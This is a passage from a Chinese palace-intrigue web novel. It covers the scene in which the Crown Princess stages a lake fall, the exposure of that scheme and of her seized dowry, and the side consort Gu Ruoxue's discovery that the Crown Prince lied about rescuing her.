她们加快脚步往前走,只见一群丫鬟婆子正慌乱地跑来跑去,嘴里还喊着:“不好了,不好了,出事了!” 朱妙婈瞬间紧张起来,紧紧抓住唐蕊的手,声音颤抖:“郡主,这,这是怎么回事?” 唐蕊强装镇定:“别怕,我们先去看看。” 两人随着人群来到花园的中心,侍婢们的惊呼声也断飘入耳中。 “不好了,来人啊,有人落水了。” 唐蕊松开朱妙婈,挤到了最前面。 只见秦芷嫣正一脸后怕的站在湖边,眼睛死死的盯着湖里扑腾的太子妃。 顾侧妃在她身边,正扶着她的胳膊,一脸淡然。 一个家丁打扮的男人突然出现,奋不顾身的跳下了水,快速朝秦芷媃游了过去。 “母妃!”唐蕊一颗心都提起来了,快步跑到她面前:“你没事吧?” “你母妃能有什么事?现在有事的是我母妃!”司徒嫱语气尖锐。 明明不关唐蕊的事,她却恨恨的看着唐蕊,好像唐蕊是推秦芷媃落水的罪魁祸首似的。 秦芷嫣一听这话气得浑身发抖,顾侧妃眼底划过一丝轻嘲:“小小年纪,倒是会颠倒黑白,明明是太子妃想推璃王妃下水。要不是我及时让侍婢拉开璃王妃,现在在水里扑腾的就是璃王妃了。” 司徒嫱想都没想便道:“胡说八道,我母妃可是太子妃,她为什么要推璃王妃落水?” 顾侧妃不屑的瞥了她一眼:“我又不是你母妃,我哪儿知道她发什么疯?” “你…” “你给我闭嘴!” 唐蕊不耐烦的打断她的话:“你属空气的啊?随时随地无处不在,哪儿都有你?在场这么多皇婶,她们都还没吱声呢,轮得到你说话哦?” 司徒嫱后知后觉抬眸一看,这才发现几个王妃正不满的看着她。 “好,你给我等着!” 司徒嫱扔下一句不痛不痒的话,快走几步来到岸边,等几个侍婢们一起把落汤鸡太子妃从水里拉了出来候,她立刻给秦芷媃披上披风:“母妃,你没事吧?” “…”怎么可能没事。 她被自己安排的男人给救了。 众目睽睽之下,衣服又单薄,泡了水都有些透明。 她跟这男人在这么多双眼皮子底下搂搂抱抱,要是被太子知道… 想到这里,秦芷媃身子哆嗦了一下,愤恨的看向秦芷嫣:“姐姐,我只想跟你说说话而已,你为什么要推我?” 秦芷嫣被她的厚脸皮惊呆了:“你家庶女这么会颠倒黑白,感情都是随了你?明明是你推我下水,我侥幸被霜蓉拉开,才逃过一劫,现在你倒是恶人先告状了?” “胡说,你胡说,我怎么会做这样的事?是你…你一直嫉妒我,想害我,你可是我的亲姐姐啊,就这么见不得我好吗?”秦芷媃眼圈一红,轻声抽泣起来。 秦芷嫣被她这副模样气得差点吐血,手指着秦芷媃,浑身发抖:“你,你简直不可理喻!我何时嫉妒过你,又何时想害过你?你倒是说说,我嫉妒你什么,又怎么害你了?” 秦芷媃只是哭,并不回答,那模样好似受了天大的委屈。 周围的女宾们开始窃窃私语,有的相信秦芷媃的话,觉得秦芷嫣作为姐姐不该如此对待妹妹。 有的则觉得事情没那么简单,毕竟刚刚顾侧妃可是亲眼看到秦芷媃想推秦芷嫣下水。 唐蕊看着这混乱的场面,小眉头紧紧皱起。 第45章 冒犯太子妃,该当何罪? “母妃,别生气哦。” 她走到秦芷嫣身边,轻轻拉了拉她的衣袖,又转头看向秦芷媃:“太子妃婶婶,顾侧妃可是亲眼看到是你推我母妃下水的哦。” “她是璃王侧妃,秦芷嫣是璃王妃,她当然帮着自家人说话。”秦芷媃也不是个傻的,楚楚可怜道:“我知道姐姐一向不喜欢我,未出嫁时一直欺负我,拿长姐的身份压我。其他的就算了,可…可这次她的真的太过分了。女子名誉何其重要?她推我落水,让我名声有损,这不是要我的命吗?呜呜呜…” 有好些个女宾都被她这样子骗了,对秦芷嫣投去不满的视线。 但另外几位王妃都没表态,她们也只能按捺住自己。 唐蕊察觉到几位贵妇的眼神,小手叉腰腰,气呼呼道:“胡说,明明是你一直都在欺负我母妃,没出嫁时在永安侯府欺负她,打她,还占了她的嫁妆,怎么又成了我母妃欺负你了?” 秦芷媃闻言脸色一僵。 还没及时开口解释,唐蕊就道:“太子妃婶婶,让你归还嫁妆可是皇爷爷的命令哦?你确定要否认吗?” 秦芷媃:“…” 否认皇帝的话,不是就等于说皇帝胡说八道吗? 她哪儿有这个胆子! 唐蕊见她不语,天真无辜继续道:“你都有本事占了我母妃的嫁妆了,还好意思说我母妃欺负你啊?我母妃要是能欺负你,她的嫁妆也不会被你占去了哦。” 秦芷媃:“…”贱丫头! 周围的贵妇们皆不可置信的看着秦芷媃,似乎不相信她能做出这么无耻的事来。 睿王妃嗤笑一声道:“太子妃,你还真是毫无下限,连抢占嫡姐嫁妆这种事都能做得出来,还有什么是你不敢做的?” 辰王妃眼底尽显鄙夷:“当初太子妃与太子大婚,整整一百二十八抬嫁妆招摇过市。那时候本妃就在好奇。永安侯府是新贵,至于白家,当初也只是七品,到底哪里来如斯底蕴。原来那些嫁妆都是璃王妃的啊?这就说得通了。毕竟,璃王妃的生母可是世家女。” 襄王妃一脸痛心疾首的样子:“哎呀,太子妃,你要是没钱,就明说呀,至于明抢吗?你可是太子妃呀,搞不好以后就是全天下最尊贵的女子,到时候什么好东西没有啊?为何…为何做出如此不堪之事呢?” 唐蕊猛点头,也中肯总结:“对呀对呀,太子妃婶婶,你简直是在拉低我大夏王妃们的整体形象和档次哦!” 三位王妃闻言差点给唐蕊竖起大拇指! 精辟,是个会总结的。 可不就是拉低了她们的整体形象和档次吗? 有这三个‘巨头’开口,其他命妇也开始指指点点窃窃私语起来。 司徒嫱:“…” 就很丢人! 司徒嫱默默的往旁边挪了两步,离太子妃远了些。 秦芷媃一张嘴说不过这么多人,气得七窍生烟,语气也尖锐起来,哪里还有刚刚梨花带雨的可怜样:“昭华,你别岔开话题,本妃说的是璃王妃推本妃入水一事。她谋害当朝太子妃,其罪当诛。” “诛九族吗?”男人的声音传来。 命妇抬眸看去,只见太子、辰王、睿王、襄王、璃王带着一众男宾迈步而来。 皇帝七个儿子,除了出远门的老九晋王,以及年纪尚小,在宫里待着的十一皇子,都来了。 而刚刚说要诛九族的,正是璃王。 虽然坐在轮椅上,硬生生比其他四位王爷矮了一截,但一表人才,气势一点都不输。 命妇们齐齐朝几位王爷福了福身子。 襄王也来到自己王妃身边,眼底划过一丝不满。 还没发脾气,襄王妃就轻飘飘的瞥了他一眼。 襄王噎了一下,到了嘴边的怨怼默默咽了回去,硬扯出一抹僵硬且温柔的笑:“王妃,这是怎么了?” 襄王妃不爽的看了太子妃一眼:“还是让太子妃自己说吧!” 在她的生辰宴上搞事情,分明是看不惯她。 秦芷媃是吧! 你给本妃等着! “殿下,呜呜呜…”秦芷媃看向太子,一秒恢复了梨花带雨的表情:“妾身与姐姐已经成家,关系日益疏远,好不容易见着了,本想找她叙叙旧,可她…去把妾身推进了水里,害得妾身…呜呜呜…” 在她告状的时候,司徒澈也转着轮椅来到了秦芷嫣面前:“怎么回事?” “王爷…”秦芷嫣本不觉得委屈的,但一看到他,就忍不住委屈起来。 与其是在说事情经过,但更是在告状。 最搞笑的是,她告状的时候,也不自觉唐化了,睁着一双无辜的眼睛可怜兮兮的瞅着你。 就差没说“王爷,帮我打她”了。 司徒澈…想笑! 但是不能笑! 司徒澈握拳放在唇边,清了清嗓子:“没受伤就好!” 说罢,又看向秦芷嫣身边的顾侧妃,眼神也温软了几分:“多亏你在。” 顾侧妃微微垂眸,不敢与司徒澈对视,心中却泛起一丝异样的涟漪。 唐蕊看了看她,又看了看自家老爹,心下明了。 顾侧妃看来也不是多喜欢太子啊! 也是,一个美得天怒人怨、脾气很好,还很讲道理的老公天天在面前晃悠。 就算不能一见钟情,也能日久生情吧? 又不是瞎! “七皇弟!”另一边的太子已经听完了秦芷嫣说的事情经过,冷着脸发难:“连自己的女人都管教不好,冒犯太子妃,该当何罪?” 他倒是不喜欢秦芷媃,但秦芷媃是他的太子妃。 欺负秦芷媃,这不是打他的脸吗? 司徒澈淡淡瞥了他一眼:“众目睽睽,人证俱在之下都能颠倒黑白,太子倒是会管教。” 太子噎了一下,怒不可遏:“璃王,孤是太子,你别忘记自己的身份。你说人证,好,人证在哪儿?不会就是你的侧妃吧?你的侧妃也是你的人,她说的话就能作数吗?” 你的人? 顾侧妃眉眼微动,缓缓抬起头定定的看着他。 太子看都没看她一眼,一副跟她不熟的样子。 顾侧妃扯了扯唇角,眼底划过一丝自嘲。 第46章 丢人,太丢人了 原来,人都是会变的。 她谨记他的救命之恩,多年念念不忘,甚至听了他的话入璃王府为侧妃。 结果,这人前一刻还在说喜欢她,不顾她的意愿强迫她,后一刻直接当不认识她。 真是… 时光荏苒,记忆中那个救了她的英雄,早已面目全非。 司徒澈轻轻扬了扬手。 他身后的侍卫,一把揪出那个救了太子妃的家丁。 还不待他回过神来,拔出长剑架在了他的脖子上。 秦芷嫣眉心一跳。 家丁脸色发白,举起双手动都不敢动了:“贵人这是做什么?” 司徒澈看都没看他一眼,把玩着自己的手指漫不经心道:“一个男丁,居然出现在女宾席,还出现得这么及时…六皇嫂一向妥帖,怎么会出现这样的纰漏?说说吧,秦芷媃给了你多少钱?” 从小在宫里长大,什么腌臜事儿他没见过? 司徒澈表示,秦芷媃手段低级,蠢钝如猪! 襄王妃此时才想起这事,皱眉看着那家丁:“你是谁?女宾席这边伺候的不是侍婢就是太监,本妃没见过你。” “小的是专门替王府倒夜香的奴才。”丁视线飘忽,不停往秦芷媃的方向瞅,嘴里却道:“王妃,贵人们,小的不知道你们在说什么,太子妃怎么会给小的钱呢?小的来这只是因为看拱门的小顺子肚子痛,顶替他一会儿罢了。” 太子闻言腰杆瞬间挺直了:“听到没有?还不赶紧把无辜的人放了。别以为你是王爷,就能仗势欺人。” “呵…” 就这货色? 太子? 到底是懒得管只想草草了事,还是根本就没看出问题来? 司徒澈轻笑一声,都没说话的欲望了。 辰王皱眉道:“本王当初在工部任职,襄王府是本王负责建的,没记错的话,倒夜香的溷所是在襄王府最北边的角落,这里是中庭,你一个最下等的奴才,是怎么跟中庭的奴才交好的?又是怎么来的中庭?” 古代极重地位,就算是奴才也分三六九等。 一个在中庭伺候的太监,怎么可能看上一个倒夜香的奴才,并与之交好,还让他帮忙看门? 这不搞笑吗? 辰王妃淡声补刀:“刚刚七皇弟只说了太子妃的名讳,并没有说太子妃这三个字,你一个最下等的奴才,怎么知道秦芷媃是太子妃的名讳?” 这夫妻俩显然智商在线,对于他们的问题,家丁眼神闪烁,额头上冒出细密的汗珠,支支吾吾道:“我…我方才听旁人喊的,对,就是听旁人喊的。” 睿王没好气道:“听旁人喊的?哪个旁人胆子这么大,敢喊太子妃的名讳?就算你说的是真的好了,这旁人喊得倒是及时,怎么早不喊晚不喊,偏生在这时候喊,还让你这倒夜香的奴才给听见了?” 家丁双腿发软,几乎要站立不稳:“贵人,小的…小的真的是听旁人喊的,小的绝没有说谎啊!” 睿王妃轻嗤一声,目光如炬地盯着家丁:“绝没有说谎?那本妃倒是要问问你,这旁人喊的时候,可还有其他人听见?若真有此事,不妨将那人找来对峙,也好还你一个清白。” 家丁闻言,身子抖得如同筛糠一般,眼神四处乱瞟,却始终不敢与睿王妃对视,嘴里只是反复念叨着:“小的真的没撒谎…没撒谎…” 太子再蠢也发现不对劲了,他不由得看向身边的秦芷媃。 秦芷媃面色瞬间变得煞白,眼神中闪过一丝慌乱,却仍强装镇定道:“殿下,您,您为何这般看着妾身?” 太子恶狠狠的瞪了她一眼,上前一脚踹翻家丁:“说!给孤老老实实的说,不然孤把你送顺天府!” 家丁遭不住了,连滚带爬跪着磕头:“殿下饶命,各位贵人饶命啊!是…是太子妃身边的嬷嬷,给了小的二十两银子,说一会儿会有女眷落水,让小的及时救下落水的女眷。” 说着,家丁微微颤颤从怀里摸出两个十两一锭的银元宝:“您瞧,银子都在这,小的还没花呢!” 此话一出,四周一片哗然,众人的目光齐刷刷地射向秦芷媃,那目光中满是震惊与难以置信。 秦芷媃身子一晃,差点站立不稳,她猛的转身看着自己的嬷嬷:“本妃这么相信你,你怎么能这么做?” 嬷嬷闻言不可置信的看着她,一时间都忘了反应。 襄王妃翻了个白眼:“老掉牙的情节了,还演呢?当我们都是傻子不成?” 秦芷媃怒道:“襄王妃你什么意思?” 襄王妃懒得理她了,掐了襄王一把。 襄王吃疼,不动声色揉着自己的老腰,不爽的看着太子:“太子,今天是我王妃的生辰宴,你能不能管好自家的女人?” 太子气得脸色铁青,他猛地转身,对着秦芷媃怒目而视,那眼神仿佛要将她生吞活剥了一般:“好你个秦芷媃,竟敢贼喊捉贼!” 秦芷媃扑通一声跪倒在地,双手死死地抓住太子的衣摆,哭得梨花带雨:“殿下,妾身…妾身真的没有,都是嬷嬷自作主张啊!” “你当孤是傻子么?” 太子怒不可遏,差点没忍住一脚踹开她:“亏孤还信任你,想帮你出头,你居然哄骗孤?” “殿下,妾身真的是冤枉的…”秦芷媃咬死了不认。 “…”还狡辩个屁,有意思吗? “跟孤回去!” 今天已经很丢人了,太子不想更丢人了,扔下这话拂袖而去。 秦芷媃伤伤心心的站起身来追了上去:“殿下,你等等妾身啊…” 司徒嫱跺了跺脚,也赶紧跟着跑了。 丢人,丢死人了! 一群看客:“…” 司徒澈扫了落荒而逃的太子一眼,朝襄王拱了拱手:“六哥,今日本是六嫂生辰宴,却…实在对不住!” “跟你有什么关系,都是那…算了算了,烦心的人都走了,今儿个咱们几兄弟好好喝一杯。” 襄王说罢,厌恶的看了一眼那个家丁,朝一旁的下人挥了挥手。 立刻就有人来把那家丁拖了出去,哪怕家丁怎么痛哭求饶都没用。 辰王笑道:“七弟,走吧!这里是女宾席,待久了也不好!” “好!”司徒澈看向秦芷嫣:“你受委屈了。” 秦芷嫣眼眶红红,摇了摇头:“也是妾身的不是,一听太子妃说有神医谷的下落,就什么都顾不得了,跟着不认识的侍婢走到了湖边,不然也不会闹这一出,给六嫂添堵。” “你也是为了本王好,本王都知道。”司徒澈说罢,又揉了揉唐蕊的脑瓜子:“爹爹先过去了,陪着你母妃,今日她受了惊。” 唐蕊笑眯眯的点了点头:“放心吧爹爹,我不乱跑了,就陪着母妃。” 第47章 她这电灯泡,灯丝都快黑了 司徒澈:“…” 也不知道是血缘天性还是怎么的,现在他看这个小魔女是越来越顺眼了。 那如葡萄一般布灵布灵的眼睛,叭叭个不停的小嘴,胖乎乎的小脸,真是怎么看怎么顺眼。 司徒澈没忍住,伸出手揉了揉她的脑瓜子:“乖!” 唐蕊:“!”便宜爹被谁附身了? 司徒澈推着轮椅离开,刚转身眼神就冷了下来:“追上去告诉太子,三天之内,必须把本王王妃的嫁妆还回来,不然本王就去父皇面前跟他理论了。” “是!”身后的侍卫身影一闪离开。 … 宴会上没了讨厌的人,接下来清静多了。 几位妇人三三两两凑一堆,津津乐道着刚刚事。 顾侧妃见没她事了,也回了侧妃圈。 刚过去,一堆侧妃就围了过来,七嘴八舌问她,太子妃占用璃王妃嫁妆的事是不是真的。 毕竟,女子嫁妆都是自己的东西,强占会被人戳脊梁骨的。 顾侧妃本不想搭理她们,但一想到刚刚太子的态度,心下一阵暗恨:“我也不是很清楚,王妃一直很节俭,嫁入璃王府时嫁妆也只有三十二抬。反观太子妃,庶女上位,母家不显,却有一百二十八抬嫁妆。” 侧妃们:“…”懂了! 这事绝对是真的。 真没想到,堂堂太子妃,居然这么不要脸! 秦芷媃的名声一落千丈,长久营造出来的温柔善良的人设都崩了。 唐蕊也说话算话,一直跟在秦芷嫣身边,就像一个小尾巴,惹得几个王妃好笑不已,不停逗她。 特别是襄王妃,老喜欢捏她的脸。 唐蕊全程赔笑,脸都快笑僵了。 似乎发现她的疲惫,秦芷嫣抱起她来:“蕊蕊累了吗?要不要睡一会儿?” “好!”唐蕊瞅了一眼不远处侧妃圈的顾侧妃,凑到秦芷嫣耳边悄悄说了什么。 秦芷嫣闻言脸色冷了下来,不动声色看了顾侧妃一眼,很快又收回目光,小声问唐蕊:“这事还有谁知道? 唐蕊:“朱妙婈吧,不过她应该不会乱说!” 璃王妃点点头,叮嘱她:“乖蕊蕊,这事事关王爷的名声,不要再告诉别人。至于顾侧妃那,母妃会解决的。” “好!”瞧瞧,都说了这是恋爱脑。 唐蕊打了个呵欠,也有些累了,不知不觉窝在秦芷嫣怀里睡了过去。 襄王妃一脸羡慕:“七弟妹,你跟昭华关系真好,不是亲母女,胜似亲母女。” 秦芷嫣抿唇一笑:“昭华聪慧可爱,难道六嫂不喜欢吗?” “我喜欢啊,可我这肚子…”襄王妃叹息一声,郁闷的盯着自己的肚皮。 跟襄王成亲大半年了,府里就她一个女人。 襄王虽然跟她睡的次数不多,但也不少吧,也不知道怎么的,一直都没有身孕。 辰王妃劝道:“这种事急不得,只要你和六皇弟的身体没问题,孩子迟早都会有。” “对!”睿王妃说起这个事儿就特别有经验:“我刚和我家王爷成亲那会儿,也很着急,各种汤汤水水喝了不少,反而把自己身子搞坏了,调养了一年才好。这事啊,真的急不得。” “我也知道,就是…”不知道府里什么时候会进新人,到时候就更没机会了。 这个时代可不像清朝,嫡妻的孩子生了,其他妾室才有生孩子的资格。 除了秦芷嫣,每个王妃都是这么过来的,都能想到她的顾虑。 但这事,真的很无奈的。 睿王妃想起自己两个女儿,也开始愁了:“我一连生了两个女儿,加上府中一个侍妾生的庶女,睿王府都三个女儿了。一直生不出来儿子,睿王虽然没有明说,但我能看出,他很着急。” 她不是不喜欢女儿,但这个时代,还是得生儿子。 秦芷嫣:“…” 每当这个时候,她都插不了嘴。 不过… 看着怀里打着轻微呼声的唐蕊,秦芷嫣唇角带笑。 不管如何,她现在也是有女儿的人了。 只要是王爷的孩子,那就是她的孩子,她会用心疼爱。 生辰宴一直持续到下午,大家才各回各家。 司徒澈喝了些酒,有些晕乎。 刚上马车,秦芷嫣就妥帖的递了一碗醒酒汤给他。 司徒澈愣住了:“哪里来的醒酒汤?” 秦芷嫣笑道:“妾身听到王爷你们说要喝酒,于是离开前找六嫂讨要了一碗,给王爷您备着。” “…”这女人,真的好爱他! 司徒澈道了声谢,闭目养神。 秦芷嫣怕他难受,羞涩的凑了过来,轻柔的替他按揉太阳穴。 司徒澈抓住她的手,神色无奈:“你是本王的王妃,不用做这些的。” 秦芷嫣认真道:“可妾身不想看到王爷难受。” 司徒澈沉吟片刻,也由着她了:“父皇最近有打压永安侯的意思,需不需要本王帮忙?” 秦芷嫣闻言一顿,很快又若无其事道:“父亲不止王爷一个女婿,他可以找别的女婿求助,王爷就别费心思了。” 司徒澈笑道:“你就舍得?” “王爷…”秦芷嫣垂下眼眸,有些难过:“是觉得妾身太狠了吗?” 司徒澈摇摇头,漫不经心道:“本王也不得母后喜欢,能理解你。” 恋爱脑秦芷嫣一听这话,又开始心疼他了。 她本想说,也许其中是有什么误会,哪有不爱自己孩子的父母? 但,一想到自己那偏心的父亲,这话就被她咽了回去,变成了:“王爷,妾身和蕊蕊,还有府里一众姐妹,都是你的家人。” “嗯!”司徒澈微微一笑,直接晃花了秦芷嫣的眼。 已经醒了,却还在装睡的唐蕊:“…” 啥时候到家啊! 她这电灯泡,灯丝都快黑了。 另一边… 东宫! 太子冷眼看着下面跪着抽泣的秦芷媃,一双眼眸沉沉。 “殿下,真不是妾身做的,都是嬷嬷自作主张啊…” 都这个时候了,她还在狡辩。 “来人,把这个婆子拖出去!”太子一声令下,立刻有人进来抓着默默往外拖。 嬷嬷脸都白了,不停喊着饶命。 眼看快被拖出去,她也顾不上护主了,歇斯底里朝秦芷媃大喊:“太子妃,是您让老奴做的啊,救救老奴…” 第48章 救命之人 秦芷媃心里骂着那个老货,赶紧去看太子,却只看到太子眼底的讥诮之色。 “殿下,狗奴才胡说的,妾身真的没有…” “你说没有就没有吧,那个老货孤就处置了。” 太子站起身来,神色有些疲惫:“记住,三天之内,把璃王妃的嫁妆都还回去,若是不还,这个太子妃你也别做了。” 秦芷媃闻言眼前一黑,差点摔倒。 太子已经不理她了,大步离开,去找心爱的陈姬。 秦芷媃瘫坐在地,眼泪直掉。 脑海中不知为何,想起了司徒澈对秦芷嫣的维护。 为什么? 都是嫡女,秦芷嫣的夫君却那么维护她。 而自己的夫君,只把自己当成麻烦。 还有嫁妆… 她现在哪里还有嫁妆啊? 三天,她要怎么还? 秦芷媃完全没了办法,只能写了一封信,让人送去永安侯府。 她奈何不得秦芷嫣,难道爹爹还奈何不得吗? 只要秦芷嫣自己放弃这笔嫁妆,那她就可以不用还了。 … 永安侯府的动作也很快,收到回信后,第二天就给秦芷嫣送了一封信,让她回府一聚。 而此时,秦芷嫣却没心情管永安侯府的信,而是盯着面前的顾侧妃。 屋里的下人早就退下了,此时只剩她们两个。 顾侧妃还是那副样子,不悲不喜,眼眸低垂。 秦芷嫣后知后觉,以前她好像没从看透过这个女人。 她不像朱庶妃,喜欢美食。 也不像李姬,喜欢花钱。 更不像张姬,武功高强。 顾若雪人淡如菊,对什么都没兴趣。 可现在她才知道,偏偏这个人淡如菊的女人,是胆子最大、最没眼光的女人。 秦芷嫣叹息一声:“顾侧妃,你有什么话要跟本妃说的吗?” 顾若雪也不是傻子,一瞧她这架势,就知道唐蕊已经告诉她了,于是淡然自若的跪了下来,背脊挺得笔直:“妾身无话可说。” 秦芷嫣也是醉了,很不理解的问了一句:“为什么啊?对方若是个比王爷好的,也就罢了。但…不管是才情还是德行,他哪里能跟王爷比?你素来高傲,却跟他…你真是有眼无珠啊!” 顾若雪还是那副死人脸,不过仔细看去,她的脸色白了一些:“事已至此,多说无益,王妃尽管惩治妾身便是。” “本妃惩治你有什么用?你是王爷的侧妃,上了皇家玉牒的,这件事闹大了,王爷也无颜面。” 秦芷嫣揉着眉心,继续那个问题:“这世上没有无缘无故的爱恨,你为什么会心仪他,本妃想知道原因。” 知道了原因,才好对症下药,好好治治顾若雪这眼瞎的毛病! 顾若雪抿了抿唇,还是说道:“太子救过我。” “…”笑死,太子那种东西,是个会救人的?“何时,何地?” 既然都开了口,顾若雪也不瞒着了:“幼时,臣女十一岁,随伯母去金山寺上香,不慎落单掉入枯井。半梦半醒间,隐隐听到了少年的呼救声。等我再次醒来,手里握着一块玉佩。这玉佩,妾身派人打听过,是太子殿下的,他就是当年那个救我的少年。” 也不知道是不是旁观者清,秦芷嫣几乎一听就听出了问题:“少年?你确定是少年?” 顾若雪微微颔首:“少年声音嘶哑,音域狭窄,正处倒仓,这一点妾身很确定。” 秦芷嫣:“…” 倒仓就是指少年的变声期。 那么问题来了… 秦芷嫣一脸无语的看着她:“本妃没记错的话,太子年长你七岁,你十一岁,他都十八了。你告诉本妃,十八岁的少年,还会经历倒仓吗?” 顾若雪闻言脸上的淡定刹那间消失无踪,抬起头一脸愕然的看着秦芷嫣。 她张了张嘴,却说不出一个字来。 这话好像…没毛病! 但怎么可能呢? 顾若雪也不知道是在说服自己,还是在说服秦芷嫣:“可…我未出阁时偶然问起过太子殿下这事,他没否认…” “那他承认了吗?”秦芷嫣打断她的话。 顾若雪再次哑然。 没有… 顾若雪就像是被雷劈了似的,整个人都傻了。 秦芷嫣突然有些想笑,相处了几年,顾若雪对什么都是淡淡的,难得看她露出这样的表情。 不行,不能笑! 这么严肃的时刻,笑了就过分了。 秦芷嫣拿起帕子按了按嘴角,忍住想笑的冲动后,语重心长继续道:“平时看你挺精明的一个人,怎么在这种事上如此糊涂?” “怎么会…”顾若雪整个人都凌乱了,从怀里掏出那块珍藏了许久的玉佩,茫然的看着秦芷嫣:“就算太子骗我,但这东西就是太子的啊!你看,这上面还有皇后娘娘的小字,是皇后娘娘赐给太子的,我派人打听过,不会错的。” “…”还不肯面对事实呢! 秦芷嫣不经意的扫了一眼那玉佩,很快愣住了:“你这玉佩…” 顾若雪见她这样,赶紧问道:“王妃,这玉佩你认得?” 秦芷嫣沉吟片刻,还是点了点头:“有一次母后叫我入宫问话,就带着这块玉佩,我瞧着是上好的羊脂白玉,很是难得,就问了一句…” 当时,皇后套不出来她的话,对她没个好脸色。 还是皇后身边的嬷嬷,怕她这个新鲜热乎的璃王妃直接撂担子不干了,就随口说了一句。 那个嬷嬷说,这玉佩是皇后娘娘贴身之物,当年刚生下璃王没多久,见小小的璃王喜欢玩她这玉佩,就随手给了他玩了。 皇后当时听了还很生气,怒斥嬷嬷多嘴。 嬷嬷又赶紧改口,说太子也有,只不过太子那块玉佩上刻着他自己的霄字。 秦芷嫣说完这些,同情的看着顾若雪:“你好像认错人了,当年救你的,并不是太子,应该是王爷。” “怎么会这样…”顾若雪瘫坐在地,一张脸惨白。 清冷高傲的人,眼圈渐渐红了,一滴泪顺着脸颊落下:“怎么会,怎么可能…” 她想起这些年与太子来往的信,里面那些柔情蜜意,就觉得一阵阵恶心。 “呕…”顾若雪没忍住,干呕出声。 第49章 你在这偷看爹爹干啥哦? 秦芷嫣赶紧起身,给她倒了一杯水递过去:“喝点水,至于反应这么大吗?” “不,你不懂…”顾若雪又羞又气,还恨上了太子。 她知道外面对太子的评价不太好,就连她祖父顾丞相,当初听到了她和太子的风声,还专门找她谈过话。 说,太子胸无点墨,自以为是,未来真坐上那个位置,也是昏君一个。 当时她还觉得是祖父说话过分,对太子偏见太重,第一次顶撞他。 没想到,没想到太子居然这么无耻。 当初她明明还问过他,而他呢,把璃王的功劳默认为自己的。 这些年还跟她书信往来,甜言蜜语柔情蜜意! “呕~”顾若雪没忍住,真的吐了。 “哎呀,这可是前几天我刚换的新地毯。”秦芷嫣嘴上嫌弃,却并没有离开,而是蹲下身轻轻拍打着她的背:“好了好了,别吐了,都过去了,现在知道也不晚。” 本想问她跟太子是不是真有什么的。 但秦芷嫣是真怕她继续吐了。 顾若雪努力控制着想吐的冲动,死死拽紧手里的玉佩,眼泪却忍不住滑落眼眶,一脸悲愤:“他,欺瞒我这么多年,着实可恶!” 她应该早就想到的,这些年那么多来往的书信,她也能看出太子是个什么人。 可每次这个念头一出,她就会想起当初那个少年。 他那么着急,还关切的问她好不好,让她坚持住。 母亲早逝,父亲只顾着讨好祖父,母亲只顾着跟大婶母攀比,从小到大都没人这么关爱她。 就因为念着这一份温暖,她才装聋作哑,一直欺骗自己。 “我不会让他好过的!”顾若雪咬牙切齿道! “好好好,不让他好过!”秦芷嫣叹息一声,扶着她坐起来,眼底带着一丝同情:“这事我不会告诉王爷的,你以后可要谨言慎行,再也不要跟太子往来了。” 顾若雪闻言复杂的看着她,良久才吐出一句:“你…真笨!” 明明抓到她这么好的把柄,却不落井下石,反而还安慰她,让她知道这么些年都爱错了人。 世上怎么会有这么蠢的女人? 顾若雪扪心自问,换做是她心仪一个男子,绝对会争,会抢,会赶走他身边所有女人。 秦芷嫣笑道:“我才不笨呢,我只是喜欢王爷,想帮他的忙罢了。但我只是一个弱女子,除了替他打理好后院,实在不知道该做什么才好。” “…”蠢货啊你! 顾若雪不由得问道:“王爷去我们院里时,你就不难受?” 秦芷嫣一听这话,嘴角的笑容隐隐掺杂着一丝苦涩:“难受啊,怎么会不难受?但我宁愿自己难受,也不希望王爷跟我一起难受。他那么好的人,却如此不幸,接下里的日子,我希望他开心一些。只要我还活着一天,就不会让他为后院的事忧心。” 顾若雪这一刻好像看到秦芷嫣浑身冒金光,差点闪瞎她的钛合金狗眼。 怪不得人家是正妃呢! 比不了,完全比不了一点。 顾若雪深吸一口气,起身恭恭敬敬朝秦芷嫣跪下了:“姐姐,多谢你放我一马,我顾若雪可以对天发誓,以后我会安安分分,做好自己的侧妃。” 这话一语双关,秦芷嫣听懂了,扶她起身,拍了拍她的手:“好,我们姐妹一起,好好伺候王爷。” “嗯…”虽然很不爽跟其他女人分享璃王的宠爱,但秦芷嫣真的太好了,她真不忍心搅风搅雨。 有了这次坦诚,姐妹俩亲近了很多。 顾若雪离开秦芷嫣院里后,迫不及待的想见见司徒澈。 她还特意回自己的小厨房,亲手做了银耳羹。 霜蓉满脸欣慰。 虽然不知道自家主子为什么突然转性了,但不要跟太子来往就很好。 反正她不喜欢太子,觉得太子配不上她的主子。 她的主子是全天下最聪慧的女子,值得最好的一切。 璃王乃是大夏战神,哪怕双腿残疾,也比太子强。 当顾若雪带着银耳羹,满怀期望来到司徒澈书房的时候,却发现他就在书房门口,正低声跟明月交代些什么。 夕阳的余晖轻洒在他身上,为他镀上了一层淡淡的金色光辉,那原本就俊朗非凡的面容,此刻更显温润如玉。 顾若雪的心跳不由自主地加快了几分,脚步也微微顿住,只远远地望着他,一时竟有些胆怯。 她一直都知道,司徒澈很好看。 但现在好像更好看了。 反观她,差点被太子… 这样的她,还配得上如此优秀的男子吗? “顾庶母怎么不进去哇?”小奶音响起。 顾若雪低头一看,只见唐蕊不知何时来了,正顺着她的视线好奇的往里瞅:“你在这偷看爹爹干啥哦?” “嘘!”顾若雪朝她比了个噤声的手势,拉着她缩到了院门外,这才小声道:“我来给你爹爹送银耳羹,你来多久了?” “你刚来我就来了,是顾庶母看我爹爹看呆了,没发现我。” 唐蕊说到这,会心一笑:“我爹爹是不是很好看哇?” 顾若雪脸色微红,眼神左右飘忽:“还…还好吧!” 以前只觉得唐蕊有点可爱,可现在再看这张与心爱之人有几分相似的小脸,就好像透过时间看到了当初救她的那个少年。 顾若雪眼神温软下来:“蕊蕊,你来找你爹爹有事吗?” 唐蕊点点头:“嗯呐,过两天是花灯节,我听说外面会很热闹,想出去玩。” 顾若雪这才想起花灯节。 但…这种时候,司徒澈就算要出去,也只会带着秦芷嫣这个正妃吧? 不是正妻,就永远不能光明正大站在他身边! 顾若雪薄唇紧抿,指尖微微收紧,捏紧了食盒! 唐蕊似乎发现了她眼底的失落,歪着脑袋看了她好久,突然开口道:“顾庶母也想去吗?到时候让爹爹带我们都去玩好不好?” 顾若雪摇摇头,硬扯出一抹笑来:“我是侧妃,没资格站在王爷身边。” “谁说没资格?母妃去,你也去,还有朱庶母、张庶母和李庶母都去!我这就去跟爹爹说。” 第50章 这个时代怎么会有这样的词 唐蕊言罢,不由分说跑进了院里,快得顾若雪都没来得及拉住她,只能跟她一起进去了。 